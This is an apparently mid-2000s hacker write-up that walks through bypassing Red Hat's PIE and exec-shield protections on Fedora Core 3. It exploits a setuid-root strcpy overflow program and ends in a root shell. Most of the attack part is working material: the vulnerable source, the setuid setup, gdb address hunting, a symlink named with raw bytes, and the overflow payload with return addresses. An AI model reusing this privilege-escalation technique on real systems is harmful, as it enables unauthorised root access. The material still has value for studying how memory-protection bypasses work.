Solution To Red Hat PIE protection
(Fr0z3n : [email protected])
I read a great article written by Vangelis about exploiting local vulnerability under Fedora 2.
It was a great article but our Redhat Security Expert, Arjan van de Ven said that the author did not compile the vulnerable
program into PIE executable:
"2) You did not make your application a PIE executable (you can do so
with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit[1], unless you do it from the same
debugging session (but if you can attach a debugger you fully own the
app anyway) Most (if not all) network facing daemons in FC are
compiled as PIE for this reason, and we're in progress to extending
that to other "sensitive" binaries"
Take note of this part:
"PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit.."
Did he say the words "Near Impossible"?
Izzit really "near impossible"? Let us check it out now,
first of all, this is the vuln program..just the same as the one in Vengelis paper:
---------------------------------vul.c----------------------------------------
int main(int argc, char *argv[])
{
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------------
Btw, all the work below was done under Fedora 3.So any improvement from the Fedora 2 would be in this version.
I started this work exactly after Installing it which of course took a longer time than finding out how to exploit this program.
So no patch applied.
[zarul@localhost exercise]$ cat /proc/version
Linux version 2.6.9-1.667 ([email protected]) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:25 EST 2004
[zarul@localhost exercise]$
ok...now let us compile our "Vulnerable" program , I will compile the vulnerable program as Arjan van de Ven said:
[zarul@localhost exercise]$ gcc -fpie -pie vul.c -o vul
[zarul@localhost exercise]$
[root@localhost exercise]# chown root vul
[root@localhost exercise]# chgrp root vul
[root@localhost exercise]# chmod 4755 vul
[root@localhost exercise]# ls -la
total 40
drwsr-xr-x 2 zarul zarul 4096 Feb 9 14:20 .
drwx------ 3 zarul zarul 4096 Feb 8 20:48 ..
-rw-r--r-- 1 root root 564 Feb 9 113:15 data
-rw-r--r-- 1 root root 556 Feb 9 110:31 data~
-rwxrwxr-x 1 zarul zarul 5191 Feb 8 220:48 exploit1
-rw-rw-r-- 1 zarul zarul 100 Feb 8 220:48 exploit1.c
-rwsr-xr-x 1 root root 5441 Feb 9 114:20 vul
-rw-rw-r-- 1 zarul zarul 113 Feb 8 118:39 vul.c
Ok..Did I do the correct way bro?
ok now, let us do some debugging..
[root@localhost exercise]# gdb ./vul

....
wtf? Where is the NULL pointer dereference protection?
Is the protection ON?Let me check it 1st..
[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield
2
[zarul@localhost exercise]$
the echoed value is 2..what it means? Let us check the latest "Exec-Shield" Document.It says that:
"2 This option is similar to 1,but all binaries which do not have a PTGNUSTACK entry are executed without executable stack.
This option is useful to prevent introducing problems by importing binaries.Every unmarked binary which does need an executable stack
would have to be treated with execstack add the program header entry."
so should be ok right?
let us check exec-shield-randomize now..
[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield-randomize
1
[zarul@localhost exercise]$
The value is 1.So it means that the stack addresses etc.. are randomized.
"- 1 — Randomized VM mapping is enabled"
let us check the last thing...
[zarul@localhost exercise]$ eu-readelf -l vul | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4
[zarul@localhost exercise]$
from the documentation, the present of the flag value RW means the stack is not executable.
So,everything sounds secure right?But I don't think so!
After I found the execl+3 address, I realized about something, so I compiled another vulnerable program called vul2 but this time without the PIE option.
Then I display the contents of section headers with objdump:
[zarul@localhost exercise]$ objdump -h vul2
vul2: file format elf32-i386

Ahaks!!Can you see those NULL bytes?So does it mean that we can't use the method used by Vangelis in his paper?My answer is YES!It is still possible to use that method!
But,as some of you might ask,HOW?
Ok,this is how we are going to do it...
As you guys know, with those NULL bytes,we can't manipulate the _GLOBAL_OFFSET_TABLE_ as Vangelis did in his paper,but it doesn't mean we can't manipulate other parts!
Remember!As an exploit writer,we must always be creative when writing our exploits as we need to be "one-step-ahead" of those people that call themselves as "security expert"!
So, after playing around with the program I found a lot of places that we can manipulate and this is one of them:
(gdb) x/8x 0xf6fd9d60
0xf6fd9d60 <unsafe_state+16>: 0x0000001f 0x00000003 0xf6fd90c0 0xf6fd76b4
0xf6fd9d70 <severity_list+4>: 0x00000000 0x00000000 0x00000000 0x00000000
Yehaaa!!!! and now this will be our file name..
(gdb) x/2x 0xf6fd90c0
0xf6fd90c0 <__libc_malloc_initialized>: 0xffffffff 0x00000003
(gdb)
Yippies! Let us make a symbolic link now!
[zarul@localhost exercise]$ ln -ns /home/zarul/exercise/exploit1 "`perl -e 'print "\xff\xff\xff\xff\x03"'`"
[zarul@localhost exercise]$
Ok..Are you ready kids? We will now exploit the program!
[zarul@localhost exercise]$ ./vul `perl -e 'print"A"x264,"\x60\x9d\xfd\xf6\x23\xf7\xf3\xf6"'`
sh-3.00# id
uid=0(root) gid=500(zarul) groups=500(zarul)
sh-3.00#
Oh My Goat! We defeated the improved "exec-barrier" for the second time!
Well, I don't know what Arjan van de Ven is going to say after he reads this paper but I'm going to be honest..I know that you are going to make "just-another-fix" that will decrease the program perfomance.But all I can say..you are just wasting your time cause eventually someone will come out with a solution.
Even now I believe there are more ways to defeat this protection and this is just one of them.
Who knows,maybe there is even a way to remote exploit a vulnerable program!
But,I don't think its worth to talk about it yet.
So, why not we use this valuable time to educate people on how to write a secure program instead of wasting our time with junks?
Think about it, How many people you think will install this kind of protection that will surely decrease the system performance and at the same time there is no gurantee that it will work as promised.
I know this paper might sound lame for some people, so for comments and critism: [email protected]
( Btw, Sorry for my poor English)
Greetz:
CMN == One of the people out there that I respect the most.
Vangelis == For such a great paper!I wish that I
will have the chance to know you.
Beist == I don't know who you really are but I think
you should be an intelligent person too.
Linus Torvalds == For creating such a wonderful OS .
Red Hat == I'll still use this distro no matter what
happen ..
Some of the Kiddies out there == That started to learn how to be something
"REAL". I believe some of you guys might be
"someone" one day.So stop defacing and
learn programming.
